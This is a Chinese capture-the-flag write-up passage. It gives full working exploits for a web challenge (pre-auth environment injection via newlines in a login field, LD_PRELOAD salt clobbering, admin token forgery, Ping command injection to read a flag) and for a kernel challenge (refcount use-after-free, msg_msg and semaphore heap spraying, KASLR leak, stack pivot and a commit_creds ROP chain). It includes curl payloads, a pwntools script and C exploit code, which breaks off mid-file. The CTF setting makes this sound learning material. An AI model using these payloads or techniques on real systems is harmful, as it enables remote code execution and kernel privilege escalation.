这两步可以马上得到两个重要结论:MW.API.Auth.login是未授权接口,适合做 pre-auth 入口,MW.API.Network.Ping.run需要 token,但一旦 token 能伪造,后面就是稳定 RCE 面
从 entry.cgi开始梳理调用链
新镜像没把源码层打包进去,但旧镜像残留了 build/src,可以用来理解控制流
新版再用二进制和实测确认
旧镜像源码 build/src/mwcgi/entry.cpp 的关键逻辑非常清楚:
从 QUERY_STRING里解析 api、method、version


扫描当前 webapi目录下所有 .lib

找到对应 API 后 dlopen() 目标 .so


dlsym()调用导出函数


所以解题时,先看 .lib再看 .so,比直接黑盒 fuzz 高效得多
旧镜像的 build/src/mwcgi/mwcgi_server.cpp说明 mwcgi会:
解析 SCGI 头

把 header 里的环境变量通过 setenv()注入给 CGI 子进程


最后execl(ENTRY_CGI, ENTRY_CGI, nullptr)

这解释了为什么远端请求中的各种 CGI 环境,在 entry.cgi和后面的 API 逻辑中都是可见的
简单说就是nginx → mwcgi → entry.cgi(真正的 API 接口),mwcgi不做任何校验,只负责转发请求
旧镜像 build/src/auth/mw_api_auth.cpp 里,登录逻辑长这样:
static int mw_auth_login(Json::Value &request, Json::Value &response) {
std::string account = params.get("account", "").asString();
std::string passwd = params.get("passwd", "").asString();
if (account == "guest") {
response["success"] = true;
...
return 0;
}
SDKPluginWebloginPre(account, passwd, false);
bool auth_success = verify_password(account, passwd);
...
SDKPluginWebloginPost(...);
}
先走 SDKPluginWebloginPre
后做 verify_password
这意味着就算密码错了,插件链也已经被执行了
所以这条链天然就是 pre-auth 的
题目提示“不要爆破密码”就是这个原因
继续看同文件:
if (passwd.length() >= 0x1001 || account.length() >= 0x1001) {
return;
}
SLIBPluginSetArg(handle, "USER", account.c_str());
SLIBPluginSetArg(handle, "TYPE", passwd.c_str());
SLIBPluginSetArg(handle, "IS_KNOWN_DEVICE", is_known_device ? "yes" : "no");
SLIBPluginAction(4, handle);
这里最重要的一句话是account 只做了长度检查,没有做换行过滤
这就是 CVE-2024-10441风格注入的入口
漏洞点一:插件 SDK 环境变量注入
旧镜像里,SLIBPluginAction()会把插件参数写到 env 文件里,再通知 mw_plugind去读取:
snprintf(env_path, sizeof(env_path), "%s/env.%d.%d",
MW_PLUGIN_DIR, getpid(), rand());
for (const auto &arg : handle->args) {
const std::string &key = arg.first;
const std::string &value = arg.second;
if (value.find('\n') != std::string::npos) {
fprintf(fp, "%s:PLUGIN_VALUE_START\n", base64_encode(key).c_str());
fprintf(fp, "%s\n", value.c_str());
fprintf(fp, "PLUGIN_VALUE_END\n");
} else {
fprintf(fp, "%s:%s\n",
base64_encode(key).c_str(),
base64_encode(value).c_str());
}
}
旧镜像里的 mw_plugind.cpp会:
逐行读 env 文件
按第一个 冒号:拆成 key/value
遇到 PLUGIN_VALUE_START 就读多行直到 PLUGIN_VALUE_END
然后 setenv()
也就是说,只要能在 account里塞入换行,就可以人为结束原本的 USER值,再伪造新的环境变量行
新版题和旧版最大的坑,是 env 文件格式变了
旧镜像源码写的是:
base64(key):base64(value)
但新版 mw_plugind二进制实测后发现:它读的是原始 KEY:VALUE
我本地直接把新版 mw_plugind跑起来,
bwrap --die-with-parent \
--bind /tmp/pwn-image-mw-revenge-rootfs / \
--dev-bind /dev /dev \
--proc /proc \
--chdir / \
/usr/mw/bin/mw_plugind
往/var/run/mw_plugind/tmp/testenv写入:
USER:foo
TYPE:prelogin
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt
用这个来加载libmemusage.so,把内存使用统计结果打印出来
另一个终端
cat > /tmp/pwn-image-mw-revenge-rootfs/run/mw_plugind/tmp/testenv <<'EOF'
USER:foo
TYPE:prelogin
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt
EOF
再启一个终端然后给它发 plugin packet
python3 - <<'PY'
import socket, struct
sock_path = '/tmp/pwn-image-mw-revenge-rootfs/run/mw_plugind/mw_plugind.sock'
action = 4
plugin_type = b'weblogin'
env_path = b'/var/run/mw_plugind/tmp/testenv'
plugin_uuid = b'test-uuid'
pkt = struct.pack(
'<i256s256s256s45s',
action,
plugin_type.ljust(256, b'\0'),
env_path.ljust(256, b'\0'),
plugin_uuid.ljust(256, b'\0'),
b'\0' * 45
)
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(sock_path)
s.sendall(pkt)
s.close()
print('packet sent')
PY

可以看到内存统计结果已经回显到第一个终端上
日志里能直接看到:
Args=[USER=foo,TYPE=prelogin,LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmemusage.so,MEMUSAGE_OUTPUT=/usr/mw/etc/mw_token_salt]
这是直接显示出来的payload,没有base64编码,这说明新版远端利用时,不要再用旧版那种 base64 key/value 了,直接 raw KEY:VALUE 才对
因此,真正的 pre-auth 注入格式应当是:
seed
PLUGIN_VALUE_END
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt
作为 account 参数发给:
/webapi/entry.cgi?api=MW.API.Auth&method=login&version=7
即使密码是错的,插件还是会先执行,环境变量已经污染成功
环境变量注入只是第一步,关键在于拿它做什么
我这里选的是:
LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT=/usr/mw/etc/mw_token_salt
原因是它能提供一个非常稳定的按指定绝对路径写文件能力
这比 LD_DEBUG_OUTPUT 这种会自动加 .pid 后缀的方案好太多,因为我们要打的是一个固定文件名:
/usr/mw/etc/mw_token_salt
远端实测也确认了这一点:
- 把
MEMUSAGE_OUTPUT指到 web 根时,可以稳定生成文件 - 把它指到
/usr/mw/etc/mw_token_salt时,同样会成功覆写目标文件
漏洞点二:把 mw_token_salt 打坏,离线伪造 token
先看 mwtoken.so 暴露了什么
新版镜像里的 usr/lib/mwtoken.so 没有源码,但动态符号没有被去掉:

同时字符串也很直白:

看到这里基本可以确定:token 是这个库统一签发和校验的,mw_token_salt文件就是签名的关键材料
先调用 issue_mw_token(“admin”),拿到一个 token,形如 A.B.C
把 A 做 base64url 解码,得到 admin
B 本身就是十进制时间戳,而且和 harness 里打印的 expires= 一致,所以它就是过期时间
把 C 解码,得到的是这种格式:
$6$<salt>$<hash>
这个格式正是 glibc crypt() 的 SHA-512-crypt 输出
bwrap --die-with-parent \
--dir /usr --dir /usr/lib --dir /usr/mw \
--bind /lib /lib \
--bind /lib64 /lib64 \
--bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
--bind "$PWD/rootfs/usr/lib/mwtoken.so" /usr/lib/mwtoken.so \
--bind "$PWD/rootfs/usr/mw/etc" /usr/mw/etc \
--bind "$PWD/../pwn-mw-user" /work \
--chdir /work \
/lib64/ld-linux-x86-64.so.2 \
--library-path /usr/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
./token_harness.bin issue admin

所以结构就被反推出:
base64url(username) . expiry . base64url(crypt.crypt(f"{username}|{expiry}", f"$6${salt}$"))
我本地用系统自带的 libmemusage.so生成的内容覆盖 mw_token_salt
MWETC=rootfs/usr/mw/etc
rm -f "$MWETC/mw_token_salt"
bwrap --die-with-parent \
--dir /usr \
--dir /usr/mw \
--bind /bin /bin \
--bind /lib /lib \
--bind /lib64 /lib64 \
--bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
--bind "$MWETC" /usr/mw/etc \
--setenv LD_PRELOAD /usr/lib/x86_64-linux-gnu/libmemusage.so \
--setenv MEMUSAGE_OUTPUT /usr/mw/etc/mw_token_salt \
/bin/true
保护下把系统必要的库、命令映射进沙箱

可以看到内存统计结果,说明libmemusage.so 确实被执行了
接着去看下被覆写的文件

生成出来的 mw_token_salt文件前面是一大串 \\x00,说明salt文件被成功破坏
而且照常来说,这个salt解析出来会是一个空串
验证一下,用现在被破坏的盐值生成token文件,再本地用空盐计算一遍,看结果是否一样
TOKEN=$(
MWTOKEN=rootfs/usr/lib/mwtoken.so
MWETC=rootfs/usr/mw/etc
bwrap --die-with-parent \
--dir /usr --dir /usr/lib --dir /usr/mw \
--bind /lib /lib \
--bind /lib64 /lib64 \
--bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
--bind "$PWD/$MWTOKEN" /usr/lib/mwtoken.so \
--bind "$PWD/$MWETC" /usr/mw/etc \
--bind "$PWD/../pwn-mw-user" /work \
--chdir /work \
/lib64/ld-linux-x86-64.so.2 \
--library-path /usr/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
./token_harness.bin issue admin | awk -F= '/^token=/{print $2}'
)
python3 - <<'PY' "$TOKEN"
import base64, crypt, sys
t = sys.argv[1]
u, e, s = t.split(".")
dec = lambda x: base64.urlsafe_b64decode(x + "=" * (-len(x) % 4)).decode()
user = dec(u)
sig = dec(s)
print(sig == crypt.crypt(f"{user}|{e}", "$6$$"))
PY

输出结果为True
也就是说,这个库在读取被覆写后的 salt 文件时,等价地退化成了:
salt = ""
这一步非常重要,因为它把原本服务器端独有的 salt,变成了我们本地完全可计算的空 salt
所以可以离线伪造管理员 token
最终 forge 逻辑非常简单:
import base64
import crypt
import time
user = "admin"
exp = str(int(time.time()) + 86400 * 7)
sig = crypt.crypt(f"{user}|{exp}", "$6$$")
token = ".".join([
base64.urlsafe_b64encode(user.encode()).decode().rstrip("="),
exp,
base64.urlsafe_b64encode(sig.encode()).decode().rstrip("="),
])
print(token)
得到YWRtaW4.1776221628.JDYkJHRlUTFjLy9sUE4uVW1DaEdubndJS24ycFljNzYxb0RyakRLZUFadlpwbGJiZzhQcUVNYUZhVmtFT1ZXZFhNeXJsNHQuemtPWXBXUFVZNnR5bnA1aTQx
先远端env注入,不管密码对不对,反正已经可以预认证污染了
curl -sG 'http://1314-5dee133e-b00b-41c3-82e7-d02a622415fc.challenge.ctfplus.cn/webapi/entry.cgi' \
--data-urlencode 'api=MW.API.Auth' \
--data-urlencode 'method=login' \
--data-urlencode 'version=7' \
--data-urlencode $'account=seed\nPLUGIN_VALUE_END\nLD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so\nMEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt' \
--data-urlencode 'passwd=x'
再远端拿这个 token 去请求:
/webapi/entry.cgi?api=MW.API.Auth.Key&method=get&version=1&mw_token=<token>
返回:

说明伪造成功
拿到 token 后,Ping就是 RCE,先看 Ping二进制的导出和字符串
MW.API.Network.Ping.so里动态符号有:
network_ping_run
system
字符串里更直接:
Invalid ping target
/usr/bin/ping -c 1 -W 1
executing system command=%s
ping requested runner=%s target=%s
这已经非常接近明示了:
它是拼 shell 命令后直接 system()
用 Ping拿 RCE
最小测试 payload:
target=127.0.0.1$(touch$IFS/usr/mw/webman/rce_ok)
能在 web 根看到 /rce_ok,就说明命令注入打通了
结合前面提到的root权限执行,所以这一段已经是稳定 root RCE
cp /flag.txt /usr/mw/webman/xxx
这步我实际上试过,返回值看起来是成功的,但目标文件没有稳定出现在 web 根
所以最终我用了更稳的文件名外带方案:
touch /FLAGMARK$(cat /flag.txt)
先在根目录创建文件名
curl -sG "$BASE/webapi/entry.cgi" \
--data-urlencode 'api=MW.API.Network.Ping' \
--data-urlencode 'method=run' \
--data-urlencode 'version=1' \
--data-urlencode "mw_token=$TOKEN" \
--data-urlencode 'target=127.0.0.1$(touch$IFS/FLAGMARK$(cat$IFS/flag.txt))'
如果 cat /flag.txt成功,根目录就会生成一个名字是FLAGMARK<flag内容>的文件
接着再跑一次:
/usr/bin/script -q -c /bin/ls /usr/mw/webman/lsroot_flag
把 / 的目录列表写到 web 根
curl -sG "$BASE/webapi/entry.cgi" \
--data-urlencode 'api=MW.API.Network.Ping' \
--data-urlencode 'method=run' \
--data-urlencode 'version=1' \
--data-urlencode "mw_token=$TOKEN" \
--data-urlencode 'target=127.0.0.1$(/usr/bin/script$IFS-q$IFS-c$IFS/bin/ls$IFS/usr/mw/webman/lsroot_flag)'
最后请求 /lsroot_flag,就能在目录项里直接看到flag
curl -s "$BASE/lsroot_flag"

exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
json = __import__('json')
time = __import__('time')
re = __import__('re')
crypt = __import__('crypt')
quote_plus = __import__('urllib.parse', fromlist=['quote_plus']).quote_plus
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 80)
def ub64(x):
if isinstance(x, str):
x = x.encode()
return b64e(x).replace('+', '-').replace('/', '_').replace('=', '')
def qs(d):
return '&'.join(f'{quote_plus(str(k))}={quote_plus(str(v))}' for k, v in d.items())
def http(path, params=None):
if params:
path = f'{path}?{qs(params)}'
io = remote(host, port)
req = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}\r\n'
'Connection: close\r\n'
'\r\n'
).encode()
io.send(req)
head = io.recvuntil(b'\r\n\r\n')
code = int(head.split(b' ', 2)[1])
body = io.recvall(timeout=2)
io.close()
return code, head, body
def api(api_name, method, version, **kw):
params = {
'api': api_name,
'method': method,
'version': str(version),
}
params.update(kw)
return http('/webapi/entry.cgi', params)
def j(body):
return json.loads(body.decode(errors='ignore'))
def forge(user='admin'):
exp = str(int(time.time()) + 86400 * 7)
sig = crypt.crypt(f'{user}|{exp}', '$6$$')
return '.'.join([ub64(user), exp, ub64(sig)])
def clobber_salt():
account = (
'seed\n'
'PLUGIN_VALUE_END\n'
'LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so\n'
'MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt'
)
code, _, body = api(
'MW.API.Auth',
'login',
7,
account=account,
passwd='x',
)
log.info(f'login http = {code}')
log.info(f'login body = {body.decode(errors="ignore")}')
return j(body)
def check_token(tok):
code, _, body = api(
'MW.API.Auth.Key',
'get',
1,
mw_token=tok,
)
log.info(f'auth.key http = {code}')
log.info(f'auth.key body = {body.decode(errors="ignore")}')
return j(body)
def ping(tok, target):
code, _, body = api(
'MW.API.Network.Ping',
'run',
1,
mw_token=tok,
target=target,
)
log.info(f'ping http = {code}')
log.info(f'ping body = {body.decode(errors="ignore")}')
return body
def get_flag(tok):
tag = hex(int(time.time()))[2:]
mark = f'FLAGMARK{tag}_'
out = f'lsroot_{tag}'
ping(tok, f'127.0.0.1$(touch$IFS/{mark}$(cat$IFS/flag.txt))')
time.sleep(1)
ping(tok, f'127.0.0.1$(/usr/bin/script$IFS-q$IFS-c$IFS/bin/ls$IFS/usr/mw/webman/{out})')
time.sleep(1)
code, _, body = http(f'/{out}')
if code != 200:
log.failure(f'get /{out} -> {code}')
raise SystemExit(1)
text = body.decode(errors='ignore')
log.info(text)
m = re.search(r'polarisctf\{[^}\n]+\}', text)
if not m:
log.failure('flag not found')
raise SystemExit(1)
return m.group(0)
if __name__ == '__main__':
code, _, _ = http('/')
log.info(f'root http = {code}')
resp = clobber_salt()
log.success(f'login_response = {json.dumps(resp, ensure_ascii=False)}')
time.sleep(1)
tok = forge('admin')
log.success(f'mw_token = {tok}')
info = check_token(tok)
log.success(f'token_check = {json.dumps(info, ensure_ascii=False)}')
flag = get_flag(tok)
log.success(f'flag = {flag}')
mw-revenge
这个题和上面那道新版的镜像文件是一样的,当时还以为我看错了,仔细一看两题的网盘链接都一样,所以exp就是上道题复用就行
至于出题人说的fucking cpp! 二选一
我不是很懂,可能是继续啃c++源码?或者说是愿意图是让二选一,想保留那份旧版的题目,但是更新时不小心两个都换掉了?
旧镜像 pwn-mw-user 没有新版这些收尾条件:没有 start.sh 动态写 /flag.txt,没有 MW.API.Network.Ping,没有 mw_token_salt 这条 token 链
只能走老的 Auth.login -> env injection 这半条
babykernel
一道内核题
拿到题目,先看下给的run.sh
run.sh
#!/bin/bash
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel ./bzImage \
-hda ./rootfs.img \
-nographic \
-monitor /dev/null \
-append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-snapshot \
-s
可以看到给的默认启动环境是nokaslr
接着解包文件系统镜像
在root文件夹里找到题目给的主要漏洞驱动NetRef.ko
ida打开分析
先看初始化函数

把这个模块注册成misc设备,然后是分别执行打印成功和失败的输出信息
点开&misc_dev的结构体地址,在里面找到文件操作表fops,再顺着找到netref_ioctl这个主控函数
里面有很多条命令函数,我们一个个看,把分发逻辑搞清楚
rw_job的逻辑很简单:

NetJob = jobs[idx];
if (!NetJob)
return -ENOENT;
size = min(size, 0x100);
if (is_write)
copy_from_user(job->data, user_ptr, size);
else
copy_to_user(user_ptr, job->data, size); //cmd_read
也就是说,只要 jobs[idx]里还留着一个非空指针,CMD_READ和 CMD_WRITE 就会无条件把这块地址当成 NetJob 来操作
如果这块内存已经被 kfree,那这里就是标准 UAF 读写
alloc_job有几个非常关键的点:
idx <= 0xff,size <= 0x100,jobs[idx]为空时才允许分配
实际申请的是 0x200字节,也就是 kmalloc-512
用户数据从对象 +0x8开始拷进去,对象尾部还会初始化一个函数指针default_handler

从汇编可以直接看出:

然后看CMD_MARK,就是在netref_ioctl里的cmd=deadbeef分支


正常路径是:先 refcnt++,如果 state != 2
就把 state = 1,把 v6写到 +0x108,解锁后 refcnt–,返回 0
异常路径是:先 refcnt++,v6 == 114514,然后锁内又 refcnt–,设置 state = 2,解锁后还会统一 refcnt–,返回 -84
这里有一个非常明显的逻辑错误:
正常路径是 +1然后 -1,没有问题
但 v6== 0x1bf52 的异常路径里,锁内先减了一次,出锁以后又统一减一次
所以如果对象原本 refcnt == 1,执行一次:
ioctl(fd, CMD_MARK, {.idx = i, .v6= 0x1bf52});
引用计数变化就是:1 -> 2 -> 1 -> 0
最后对象没有被释放,但 refcnt已经被打成 0,而且 state被置成了 2
CMD_FREE 的逻辑在nef_ioctl的末尾部分,cmd=0x2222触发,要看仔细点

从这里也可以看出一个job对象开头的字节对应的是引用计数,关键问题它只看 refcnt == 0就 kfree(job)
kfree之后没有 jobs[idx] = NULL
所以完整的漏洞序列就是:
ALLOC -> MARK(0x1bf52) -> FREE
执行之后对象真的被 kfree,但是 jobs[idx] 还指向原来的地址,CMD_READ / CMD_WRITE / CMD_EXEC依然能继续访问它
这就是一个UAF
然后是CMD_EXEC
CMD_EXEC分支是cmd=cafebabe

调用目标是 job->cmd_handler,也就是 +0x110
传给 handler 的参数是 job->data,也就是 job + 0x8
这些我们前面在alloc里面看到的结构
结合 rw_job和 CMD_MARK还有CMD_EXEC的访问偏移,可以恢复出最重要的结构:
typedef struct NetJob {
int refcnt; // +0x00
int state; // +0x04
char data[0x100]; // +0x08
uint64_t magic_tag; // +0x108
uint64_t cmd_handler; // +0x110
} NetJob;
注意rw_job只会读写 data[0x100] 这一段,也就是 [base+0x8, base+0x108),CMD_MARK写的是 magic_tag,也就是 +0x108
CMD_EXEC调用的是 cmd_handler,也就是 +0x110
这个 +0x108和+0x110的区别,后面非常关键
这意味着如果我们能覆盖 +0x110,就能控 RIP,而且第一次调用时 rdi = job + 0x8,这天然适合做栈迁移
但这里也有一个坑:CMD_MARK只能写 +0x108的 magic_tag,真正被调用的是 +0x110的 cmd_handler
所以这题不能靠 CMD_MARK直接改函数指针
必须先把 UAF 对象回收到别的内核对象上,再用那个新对象的布局去覆盖 +0x110
既然 NetJob是 kmalloc-512里的 0x200对象,那最自然的思路就是找一个也会进 kmalloc-512,内容大量可控并且某个可控区域能覆盖到旧对象 +0x110
那么想法就是走堆块重叠的套路,用一个同 cache 的别的内核结构的对象,来间接覆盖到cmd_handler
这里我选的是msg_msg,它的内容大量可控
Linux 里的 struct msg_msg头部大概是:
struct msg_msg {
struct list_head m_list; // 0x00
long m_type; // 0x10
size_t m_ts; // 0x18
struct msg_msgseg *next; // 0x20
void *security; // 0x28
char text[]; // 0x30
};
如果一个 msg_msg正好回收到 UAF 的 NetJob上,那么:
NetJob + 0x110 == msg_msg + 0x110 == msg_msg->text + 0xe0
所以只要发一条消息,控制:
*(uint64_t *)(mtext + 0xe0) = target_handler;
就等于覆盖了悬挂 NetJob的 cmd_handler
这里有个细节:CMD_WRITE只能写旧 NetJob的 data[0x100],也就是 +0x8 ~ +0x108,它永远碰不到 +0x110的 cmd_handler
所以最终利用必须拆成两步,先靠 msg_msg喷射,把 +0x110 预先布成 pivot gadget
再用 UAF CMD_WRITE往 +0x8 ~ +0x108这段里写 ROP 栈
还差一个问题需要解决KASLR,到这里已经能拿到 RIP,但还差内核基址
一开始我用ai试过几个方向:直接盲猜 slide,msg_msg伪造 m_ts触发 usercopy panic
还有尝试inotify 的一些结构体泄露
其中msg_msg的 panic 泄露只能在 crash 日志里看到 Kernel Offset,不适合同会话利用。
inotify 有一条 root 可用的静态符号泄露,但普通 ctf 用户拿到的是 ucounts 堆指针,不够直接
最后稳定可用的方案,是 sysv_sem + inotify
ai写了一个扫描器,把常见对象挨个尝试去回收这个 kmalloc-512 槽
最后最有价值的两个对象是:
msg_msgsysv sem
其中 sysv sem 的优点是:它也能稳定回收到 kmalloc-cg-512,它后续有一个现成的内核接口 semctl(GETVAL) 能读内部数组
如果能把边界字段改大,就有机会做 OOB read
在 READ 出来的 UAF 数据里找到了稳定指纹:
q[16] == q[17]
q[18] == q[19]
q[20] == q[21]
q[22] == 1
对应代码里就是:
static int is_sem_slot(const uint64_t *q, uint64_t *base_out) {
if (q[16] == q[17] && q[18] == q[19] && q[20] == q[21] &&
q[22] == 1 && is_kernel_ptr(q[16]) &&
is_kernel_ptr(q[18]) && is_kernel_ptr(q[20])) {
*base_out = q[16] - 0x88;
return 1;
}
return 0;
}
q[22] == 1 这个值,后来证明正好就是 sem_nsems
Linux 6.8 里 semctl(GETVAL) 的关键逻辑可以抽象成:
if (semnum >= sma->sem_nsems)
return -EINVAL;
curr = &sma->sems[semnum];
return curr->semval;
本来我们创建的是:
semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT)
所以真实 sem_nsems == 1,只能读第 0 个信号量
但由于这是回收到 UAF 槽里的 sem_array,我们可以直接对悬挂指针做:
patch[22] = 8;
ioctl(fd, CMD_WRITE, ...);
也就是把 sem_nsems 从 1 改成 8。
这样再执行:
semctl(semid, 4, GETVAL);
内核就会相信第 4 个元素合法,从 sma->sems[4] 读一个 semval 出来。
这个读已经越过了真实数组,打到了后面紧邻的对象
为了把越界读打到稳定对象上,我的分配顺序是:
- 先制造 16 个 UAF hole
- 再申请 4 个
semget(...) - 再申请 12 个
inotify_init1(...)
这样在同一个 slab 页里,经常能形成:
[ sem ][ sem ][ sem ][ sem ][ inotify ][ inotify ] ...
于是某个 sem_array 的 OOB read,就会落到后面的 inotify 对象上
GETVAL(4) 泄露的是 inotify_fsnotify_ops这一步是实测出来的
本地跑出来比较稳定的结果是:
getval[4] = 0xaa44bcc0
然后把题包 bzImage 恢复成 vmlinux 之后,用 nm 可以拿到:
ffffffff8244bcc0 D inotify_fsnotify_ops
两者一对,就发现:0xaa44bcc0 – 0x8244bcc0 = 0x28000000
这正好是合法的 KASLR slide,而且还是 0x200000 对齐。
所以自动泄露的公式就是:slide32 = leak32 – (uint32_t)0xffffffff8244bcc0;
利用代码里的实现就是:
cand = (uint32_t)semctl(semids[i], 4, GETVAL);
slide32 = cand - (uint32_t)(KERNEL_BASE + INOTIFY_OPS_OFF);
if ((slide32 & 0x1fffffU) == 0 && slide32 < 0x40000000U)
return slide32;
这一步完成以后,就有了同会话、普通用户可用的 KASLR 泄露
再把题包 bzImage 转回了 vmlinux,拿到了这几个关键符号:
ffffffff811300b0 T commit_creds
ffffffff81130650 T prepare_kernel_cred
ffffffff82201150 T swapgs_restore_regs_and_return_to_usermode
ffffffff8244bcc0 D inotify_fsnotify_ops
ffffffff8328fbc0 D init_cred
相对 KERNEL_BASE = 0xffffffff81000000 的偏移分别是:
commit_creds = 0x001300b0
swapgs_restore_regs_and_return_to_usermode = 0x01201150
inotify_fsnotify_ops = 0x0144bcc0
init_cred = 0x0228fbc0
另外还需要两个 gadget:
pop rdi; ret:0xffffffff810c8099- pivot gadget:
0xffffffff81e74805
CMD_EXEC 调用 handler 的形式是:
fn(job->data);
也就是第一次进入 gadget 时:
rdi = job + 0x8
而我选到的 pivot gadget 是:
0xffffffff81e74805: push rdi
0xffffffff81e74806: mov ecx, 0x415b0007
0xffffffff81e7480b: pop rsp
0xffffffff81e7480c: pop r13
0xffffffff81e7480e: pop rbp
... ret
先把 rdi 压到当前内核栈上,再 pop rsp,直接把 rsp 改成刚才那个 rdi,也就是把内核栈 pivot 到 job->data。
而 job->data 恰好就是我们通过 UAF WRITE 能控制的那块区域。
所以这题的 handler 劫持几乎是“为 stack pivot 量身定做”的。
最终 ROP:commit_creds(init_cred) + KPTI 返回用户态
用 init_cred,常规 kernel pwn 经常写:
commit_creds(prepare_kernel_cred(NULL));
但这里完全没必要多找一个 mov rdi, rax 类 gadget
因为 init_cred 是静态内核对象,直接commit_creds(&init_cred)就够了,这样只需要一个 pop rdi; ret
因为 pivot gadget 先:
pop r13pop rbp- 然后才
ret
所以栈前两个槽位要先放占位值。
最终链是:
chain[0] = 0x1111111111111111; // 给 pop r13
chain[1] = 0x2222222222222222; // 给 pop rbp
chain[2] = pop_rdi_ret;
chain[3] = init_cred;
chain[4] = commit_creds;
chain[5] = kpti_trampoline;
chain[6..19] = 0; // 给 trampoline 弹寄存器
chain[20] = 0; // 用户态 rdi
chain[21] = 0x3333333333333333; // 对齐占位
chain[22] = (uint64_t)get_flag; // 用户态 rip
chain[23] = user_cs;
chain[24] = user_rflags;
chain[25] = user_sp;
chain[26] = user_ss;
KPTI trampoline 我用的是:
swapgs_restore_regs_and_return_to_usermode + 0x57
也就是:
0xffffffff822011a7
这段代码从这里开始会:
- 先弹一堆内核寄存器
- 然后把用户态的
ss/rsp/rflags/cs/rip重新压好 - 最后
iretq回到用户态
对应的关键汇编是:
ffffffff822011a7: pop r15
ffffffff822011a9: pop r14
...
ffffffff822011bd: mov rdi, rsp
ffffffff822011c0: mov rsp, gs:0x6004
ffffffff822011c9: push QWORD PTR [rdi+0x30] ; ss
ffffffff822011cc: push QWORD PTR [rdi+0x28] ; rsp
ffffffff822011cf: push QWORD PTR [rdi+0x20] ; rflags
ffffffff822011d2: push QWORD PTR [rdi+0x18] ; cs
ffffffff822011d5: push QWORD PTR [rdi+0x10] ; rip
因此我们的 chain[22..26] 正好就是用户态返回框架。
完整利用链如下
先保存用户态寄存器
- cs
- ss
rsprflags
供 KPTI trampoline 回用户态使用
把进程绑在 CPU0上,减少 slab 分配抖动
自动泄露 KASLR
流程是:
- 造 16 个
NetJob - 对这 16 个都执行
MARK(0x1bf52),把 refcount 打成 0 FREE掉它们,得到 16 个悬挂槽- 申请 4 个
semget(...) - 再申请 12 个
inotify_init1(...) - 对悬挂槽逐个
READ,识别哪几个是sem_array - 用 UAF
WRITE把这些sem_array的sem_nsems从1改成8 - 对每个
semid调semctl(semid, 4, GETVAL) - 从返回值里减去
inotify_fsnotify_ops的低 32 位,拿到 slide
再造一批执行用 UAF 槽
我把执行阶段单独放到了 idx = 128 ~ 191,避免和泄露阶段互相污染。
流程同样是:
- ALLOC
- MARK(0x1bf52)
- FREE
用 msg_msg喷回收对象
连续发很多条:
msgsnd(qid, ...)
消息内容里把:
*(uint64_t *)(mtext + 0xe0) = pivot_gadget;
然后再对所有悬挂槽 READ 一遍,找到哪个槽已经被 msg_msg 回收:
if (leak[1] == MSG_TYPE && leak[2] == MSG_TEXT_SIZE &&
leak[5] == 0x4d4d4d4d4d4d4d4dULL)
命中
对命中的槽写入完整 ROP 链
这里的 CMD_WRITE 写的是旧 NetJob->data,
但实际上已经覆盖到了新 msg_msg->text。
因为 handler 已经被设成 pivot gadget,
所以这里只要把 data 区布局成上面的 ROP 栈即可。
CMD_EXEC 触发
最后一发:
ioctl(fd, CMD_EXEC, {.idx = target_idx});
效果是:
- 读取悬挂对象
+0x110的 handler - 跳到 pivot gadget
- 栈 pivot 到
job->data - 执行
commit_creds(init_cred) - 经 KPTI trampoline 返回用户态
- 进入
get_flag() - 读取
/root/flag//flag并打印
exp.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <sys/types.h>
#include <unistd.h>
#define DEV_PATH "/dev/netref"
#define CMD_ALLOC 0x1111
#define CMD_FREE 0x2222
#define CMD_READ 0x3333
#define CMD_WRITE 0x4444
#define CMD_MARK 0xdeadbeef
#define CMD_EXEC 0xcafebabe
struct req {
uint32_t idx;
uint32_t size;
uint64_t ptr;
uint64_t extra;
};
static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_sp;
static uint64_t user_rflags;
static const uint64_t KERNEL_BASE = 0xffffffff81000000ULL;
static const uint64_t INOTIFY_OPS_OFF = 0x000000000144bcc0ULL;
static const uint64_t POP_RDI_RET_OFF = 0x00000000000c8099ULL;
static const uint64_t COMMIT_CREDS_OFF = 0x00000000001300b0ULL;
static const uint64_t INIT_CRED_OFF = 0x000000000228fbc0ULL;
static const uint64_t PIVOT_GADGET_OFF = 0x0000000000e74805ULL;
static const uint64_t KPTI_TRAMPOLINE_OFF = 0x00000000012011a7ULL;
#define MSG_TEXT_SIZE 0x1d0
#define MSG_HANDLER_OFFSET 0xe0
#define MSG_TYPE 1
#define MSG_PATTERN 0x4d
#define NUM_LEAK_HOLES 16
#define NUM_LEAK_SEMS 4
#define NUM_EXEC_HOLES 64
#define EXEC_BASE_IDX 128
#define NUM_MSGS 128
struct leak_slot {
int idx;
